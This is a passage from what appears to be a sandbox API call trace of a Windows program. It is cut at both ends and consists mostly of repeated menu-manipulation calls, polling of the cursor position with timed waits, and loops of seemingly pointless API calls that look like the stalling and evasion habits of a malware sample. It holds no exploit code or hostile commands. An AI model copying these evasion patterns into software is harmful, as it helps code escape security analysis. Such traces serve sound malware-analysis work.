(hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.652] GetConsoleWindow () returned 0x0 [0127.652] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.652] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.652] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.653] GetConsoleWindow () returned 0x0 [0127.653] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.653] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.653] DrawMenuBar (hWnd=0x0) returned 0 [0127.654] GetConsoleWindow () returned 0x0 [0127.654] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.654] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.654] DrawMenuBar (hWnd=0x0) returned 0 [0127.654] GetConsoleWindow () returned 0x0 [0127.654] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.654] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.654] DrawMenuBar (hWnd=0x0) returned 0 [0127.654] GetConsoleWindow () returned 0x0 [0127.654] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.654] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.654] DrawMenuBar (hWnd=0x0) returned 0 [0127.654] GetConsoleWindow () returned 0x0 [0127.654] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.654] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.654] DrawMenuBar (hWnd=0x0) returned 0 [0127.654] GetConsoleWindow () returned 0x0 [0127.654] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.654] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.654] DrawMenuBar (hWnd=0x0) returned 0 [0127.654] GetConsoleWindow () returned 0x0 [0127.654] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.654] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.654] DrawMenuBar (hWnd=0x0) returned 0 [0127.654] GetConsoleWindow () returned 0x0 [0127.654] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.654] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.654] DrawMenuBar (hWnd=0x0) returned 0 [0127.654] GetConsoleWindow () returned 0x0 [0127.654] GetSystemMenu (hWnd=0x0, bRevert=0) returned 0x0 [0127.654] EnableMenuItem (hMenu=0x0, uIDEnableItem=0xf020, uEnable=0x1) returned 1 [0127.654] DrawMenuBar (hWnd=0x0) returned 0 [0127.655] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0127.655] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=964, y=496)) returned 1 [0127.655] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0130.947] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0130.947] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=964, y=496)) returned 1 [0130.947] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0134.154] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0134.154] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=964, y=496)) returned 1 [0134.430] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0137.573] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0137.573] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=519, y=527)) returned 1 [0137.573] WaitForSingleObject (hHandle=0x168, dwMilliseconds=0xbb6) returned 0x102 [0140.803] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.803] GetCursorPos (in: lpPoint=0x18e4fc | out: lpPoint=0x18e4fc*(x=519, y=527)) returned 1 [0140.907] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0140.907] LoadImageA (hInst=0x400000, name=0xc, type=0x0, cx=0, cy=0, fuLoad=0x0) returned 0x0 [0140.907] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0c8 | out: hHeap=0x3d0000) returned 1 [0140.907] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0a0 | out: hHeap=0x3d0000) returned 1 [0140.907] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8d8 | out: hHeap=0x3d0000) returned 1 [0140.907] DestroyWindow (hWnd=0x1012e) returned 1 [0141.108] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0141.112] NtdllDefWindowProc_A (hWnd=0x1012e, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0141.113] LoadBitmapA (hInstance=0x400000, lpBitmapName="PC") returned 0x0 [0141.113] ImageList_Add (himl=0x0, hbmImage=0x0, hbmMask=0x0) returned -1 [0141.113] WinWatchNotify () returned 0x0 [0141.113] timeGetTime () returned 0x11387ef [0141.113] WinWatchOpen () returned 0x5d2338 [0141.113] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.114] LockResource (hResData=0x0) returned 0x0 [0141.114] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.114] WinWatchNotify () returned 0x0 [0141.114] timeGetTime () returned 0x11387f0 [0141.114] WinWatchOpen () returned 0x5d23d8 [0141.114] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.114] LockResource (hResData=0x0) returned 0x0 [0141.114] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.114] WinWatchNotify () returned 0x0 [0141.114] timeGetTime () returned 0x11387f0 [0141.114] WinWatchOpen () returned 0x5d2418 [0141.114] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.114] LockResource (hResData=0x0) returned 0x0 [0141.114] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.114] WinWatchNotify () returned 0x0 [0141.114] timeGetTime () returned 0x11387f0 [0141.114] WinWatchOpen () returned 0x5d2478 [0141.114] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.114] LockResource (hResData=0x0) returned 0x0 [0141.114] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.114] WinWatchNotify () returned 0x0 [0141.114] timeGetTime () returned 0x11387f0 [0141.114] WinWatchOpen () returned 0x5d2378 [0141.114] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.114] LockResource (hResData=0x0) returned 0x0 [0141.114] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.114] WinWatchNotify () returned 0x0 [0141.114] timeGetTime () returned 0x11387f1 [0141.114] WinWatchOpen () returned 0x600700 [0141.114] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.114] LockResource (hResData=0x0) returned 0x0 [0141.114] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.115] WinWatchNotify () returned 0x0 [0141.115] timeGetTime () returned 0x11387f1 [0141.115] WinWatchOpen () returned 0x600680 [0141.115] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.115] LockResource (hResData=0x0) returned 0x0 [0141.115] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.115] WinWatchNotify () returned 0x0 [0141.115] timeGetTime () returned 0x11387f1 [0141.115] WinWatchOpen () returned 0x600740 [0141.115] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.115] LockResource (hResData=0x0) returned 0x0 [0141.115] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.115] WinWatchNotify () returned 0x0 [0141.115] timeGetTime () returned 0x11387f1 [0141.115] WinWatchOpen () returned 0x600760 [0141.115] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.115] LockResource (hResData=0x0) returned 0x0 [0141.115] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.115] WinWatchNotify () returned 0x0 [0141.115] timeGetTime () returned 0x11387f1 [0141.115] WinWatchOpen () returned 0x600780 [0141.115] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.115] LockResource (hResData=0x0) returned 0x0 [0141.115] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.115] WinWatchNotify () returned 0x0 [0141.115] timeGetTime () returned 0x11387f1 [0141.115] WinWatchOpen () returned 0x6007a0 [0141.115] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.115] LockResource (hResData=0x0) returned 0x0 [0141.115] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.115] WinWatchNotify () returned 0x0 [0141.115] timeGetTime () returned 0x11387f1 [0141.115] WinWatchOpen () returned 0x6007c0 [0141.115] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.115] LockResource (hResData=0x0) returned 0x0 [0141.115] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.115] WinWatchNotify () returned 0x0 [0141.115] timeGetTime () returned 0x11387f2 [0141.115] WinWatchOpen () returned 0x6007e0 [0141.116] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.116] LockResource (hResData=0x0) returned 0x0 [0141.116] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.116] WinWatchNotify () returned 0x0 [0141.116] timeGetTime () returned 0x11387f2 [0141.116] WinWatchOpen () returned 0x600800 [0141.116] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.116] LockResource (hResData=0x0) returned 0x0 [0141.116] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.116] WinWatchNotify () returned 0x0 [0141.116] timeGetTime () returned 0x11387f2 [0141.116] WinWatchOpen () returned 0x600820 [0141.116] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.116] LockResource (hResData=0x0) returned 0x0 [0141.116] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.116] WinWatchNotify () returned 0x0 [0141.116] timeGetTime () returned 0x11387f2 [0141.116] WinWatchOpen () returned 0x600840 [0141.116] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.116] LockResource (hResData=0x0) returned 0x0 [0141.116] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.116] WinWatchNotify () returned 0x0 [0141.116] timeGetTime () returned 0x11387f2 [0141.116] WinWatchOpen () returned 0x600860 [0141.116] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.116] LockResource (hResData=0x0) returned 0x0 [0141.116] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.116] WinWatchNotify () returned 0x0 [0141.116] timeGetTime () returned 0x11387f2 [0141.116] WinWatchOpen () returned 0x600880 [0141.116] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.116] LockResource (hResData=0x0) returned 0x0 [0141.116] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.116] WinWatchNotify () returned 0x0 [0141.116] timeGetTime () returned 0x11387f2 [0141.116] WinWatchOpen () returned 0x6008a0 [0141.116] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.116] LockResource (hResData=0x0) returned 0x0 [0141.117] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.117] WinWatchNotify () returned 0x0 [0141.117] timeGetTime () returned 0x11387f3 [0141.117] WinWatchOpen () returned 0x6008c0 [0141.117] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.117] LockResource (hResData=0x0) returned 0x0 [0141.117] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.117] WinWatchNotify () returned 0x0 [0141.117] timeGetTime () returned 0x11387f3 [0141.117] WinWatchOpen () returned 0x6008e0 [0141.117] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.117] LockResource (hResData=0x0) returned 0x0 [0141.117] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.117] WinWatchNotify () returned 0x0 [0141.117] timeGetTime () returned 0x11387f3 [0141.117] WinWatchOpen () returned 0x600900 [0141.117] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.117] LockResource (hResData=0x0) returned 0x0 [0141.117] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.117] WinWatchNotify () returned 0x0 [0141.117] timeGetTime () returned 0x11387f3 [0141.117] WinWatchOpen () returned 0x600920 [0141.117] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.117] LockResource (hResData=0x0) returned 0x0 [0141.117] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.117] WinWatchNotify () returned 0x0 [0141.117] timeGetTime () returned 0x11387f3 [0141.117] WinWatchOpen () returned 0x600940 [0141.117] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.117] LockResource (hResData=0x0) returned 0x0 [0141.117] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.117] WinWatchNotify () returned 0x0 [0141.117] timeGetTime () returned 0x11387f3 [0141.117] WinWatchOpen () returned 0x600960 [0141.117] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.117] LockResource (hResData=0x0) returned 0x0 [0141.117] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.117] WinWatchNotify () returned 0x0 [0141.117] timeGetTime () returned 0x11387f4 [0141.117] WinWatchOpen () returned 0x600980 [0141.118] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.118] LockResource (hResData=0x0) returned 0x0 [0141.118] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.118] WinWatchNotify () returned 0x0 [0141.118] timeGetTime () returned 0x11387f4 [0141.118] WinWatchOpen () returned 0x6009a0 [0141.118] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.118] LockResource (hResData=0x0) returned 0x0 [0141.118] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.118] WinWatchNotify () returned 0x0 [0141.118] timeGetTime () returned 0x11387f4 [0141.118] WinWatchOpen () returned 0x6009c0 [0141.118] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.118] LockResource (hResData=0x0) returned 0x0 [0141.118] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.118] WinWatchNotify () returned 0x0 [0141.118] timeGetTime () returned 0x11387f4 [0141.118] WinWatchOpen () returned 0x6009e0 [0141.118] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.118] LockResource (hResData=0x0) returned 0x0 [0141.118] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.118] WinWatchNotify () returned 0x0 [0141.118] timeGetTime () returned 0x11387f4 [0141.118] WinWatchOpen () returned 0x600a00 [0141.118] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.118] LockResource (hResData=0x0) returned 0x0 [0141.118] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.118] WinWatchNotify () returned 0x0 [0141.118] timeGetTime () returned 0x11387f4 [0141.118] WinWatchOpen () returned 0x600a20 [0141.118] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.118] LockResource (hResData=0x0) returned 0x0 [0141.118] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.118] WinWatchNotify () returned 0x0 [0141.118] timeGetTime () returned 0x11387f4 [0141.118] WinWatchOpen () returned 0x600a40 [0141.118] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.118] LockResource (hResData=0x0) returned 0x0 [0141.118] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.118] WinWatchNotify () returned 0x0 [0141.118] timeGetTime () returned 0x11387f5 [0141.119] WinWatchOpen () returned 0x600a60 [0141.119] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.119] LockResource (hResData=0x0) returned 0x0 [0141.119] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.119] WinWatchNotify () returned 0x0 [0141.119] timeGetTime () returned 0x11387f5 [0141.119] WinWatchOpen () returned 0x600a80 [0141.119] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.119] LockResource (hResData=0x0) returned 0x0 [0141.119] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.119] WinWatchNotify () returned 0x0 [0141.119] timeGetTime () returned 0x11387f5 [0141.119] WinWatchOpen () returned 0x600aa0 [0141.119] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.119] LockResource (hResData=0x0) returned 0x0 [0141.119] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.119] WinWatchNotify () returned 0x0 [0141.119] timeGetTime () returned 0x11387f5 [0141.119] WinWatchOpen () returned 0x600ac0 [0141.119] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.119] LockResource (hResData=0x0) returned 0x0 [0141.119] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.119] WinWatchNotify () returned 0x0 [0141.119] timeGetTime () returned 0x11387f5 [0141.119] WinWatchOpen () returned 0x600ae0 [0141.119] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.119] LockResource (hResData=0x0) returned 0x0 [0141.119] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.119] WinWatchNotify () returned 0x0 [0141.119] timeGetTime () returned 0x11387f5 [0141.119] WinWatchOpen () returned 0x600b00 [0141.119] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.119] LockResource (hResData=0x0) returned 0x0 [0141.119] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: lpszVolumeName="dú»w\"ô»w@") returned 0 [0141.119] WinWatchNotify () returned 0x0 [0141.119] timeGetTime () returned 0x11387f5 [0141.122] WinWatchOpen () returned 0x600b20 [0141.122] SystemParametersInfoA (in: uiAction=0x0, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 1 [0141.122] LockResource (hResData=0x0) returned 0x0 [0141.122] GetVolumeNameForVolumeMountPointA (in: lpszVolumeMountPoint="", lpszVolumeName=0x18f830, cchBufferLength=0x104 | out: 